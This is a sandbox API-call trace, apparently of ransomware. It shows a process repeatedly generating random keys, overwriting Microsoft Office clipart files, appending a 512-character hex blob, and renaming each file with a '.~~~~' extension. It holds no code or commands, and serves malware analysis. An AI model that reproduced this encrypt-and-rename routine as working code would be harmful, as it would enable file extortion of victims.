	[0089.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0089.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.647] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.647] GetLastError () returned 0x0
	[0089.647] GetLastError () returned 0x0
	[0089.647] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.647] GetLastError () returned 0x0
	[0089.648] GetLastError () returned 0x0
	[0089.650] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffafb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.650] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x504a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x504a, lpOverlapped=0x0) returned 1
	[0089.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.651] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.651] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.651] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.651] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.651] CloseHandle (hObject=0x118) returned 1
	[0089.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.651] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.~~~~")) returned 1
	[0089.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.652] GetLastError () returned 0x0
	[0089.653] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.653] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.654] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.654] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20964381507) returned 1
	[0089.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f371010, dwHighDateTime=0x1d60e1e)) 
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac580
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac580 | out: hHeap=0x300000) returned 1
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d748
	[0089.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.654] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.654] GetLastError () returned 0x0
	[0089.654] GetLastError () returned 0x0
	[0089.655] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.655] GetLastError () returned 0x0
	[0089.655] GetLastError () returned 0x0
	[0089.657] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe0e2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.657] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f1e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1f1e, lpOverlapped=0x0) returned 1
	[0089.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.657] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.657] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.657] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.657] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.657] CloseHandle (hObject=0x118) returned 1
	[0089.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.~~~~")) returned 1
	[0089.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.661] GetLastError () returned 0x0
	[0089.661] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.662] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.662] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20965256714) returned 1
	[0089.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f397170, dwHighDateTime=0x1d60e1e)) 
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facf0
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facf0 | out: hHeap=0x300000) returned 1
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d7e0
	[0089.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.663] GetLastError () returned 0x0
	[0089.663] GetLastError () returned 0x0
	[0089.663] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.664] GetLastError () returned 0x0
	[0089.664] GetLastError () returned 0x0
	[0089.666] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffcb35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.666] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x34cb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x34cb, lpOverlapped=0x0) returned 1
	[0089.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.666] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.666] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.667] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.667] CloseHandle (hObject=0x118) returned 1
	[0089.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.~~~~")) returned 1
	[0089.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.668] GetLastError () returned 0x0
	[0089.668] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.669] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.669] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.669] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20965953769) returned 1
	[0089.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f397170, dwHighDateTime=0x1d60e1e)) 
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fad28
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fad28 | out: hHeap=0x300000) returned 1
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d878
	[0089.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.670] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.670] GetLastError () returned 0x0
	[0089.670] GetLastError () returned 0x0
	[0089.670] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.670] GetLastError () returned 0x0
	[0089.670] GetLastError () returned 0x0
	[0089.673] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffb123, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.673] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4edd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x4edd, lpOverlapped=0x0) returned 1
	[0089.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.674] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.674] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.674] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.674] CloseHandle (hObject=0x118) returned 1
	[0089.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.~~~~")) returned 1
	[0089.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.675] GetLastError () returned 0x0
	[0089.675] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.676] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.676] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.676] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20966644378) returned 1
	[0089.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f397170, dwHighDateTime=0x1d60e1e)) 
	[0089.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f748
	[0089.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f748 | out: hHeap=0x300000) returned 1
	[0089.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d910
	[0089.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.865] GetLastError () returned 0x0
	[0089.865] GetLastError () returned 0x0
	[0089.866] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.866] GetLastError () returned 0x0
	[0089.866] GetLastError () returned 0x0
	[0089.867] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffb01a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.868] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4fe6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x4fe6, lpOverlapped=0x0) returned 1
	[0089.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.868] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.868] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.869] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.869] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.869] CloseHandle (hObject=0x118) returned 1
	[0089.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.~~~~")) returned 1
	[0089.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.870] GetLastError () returned 0x0
	[0089.871] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.872] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.872] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.872] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20986245699) returned 1
	[0089.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f586350, dwHighDateTime=0x1d60e1e)) 
	[0089.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f9e8
	[0089.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f9e8 | out: hHeap=0x300000) returned 1
	[0089.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
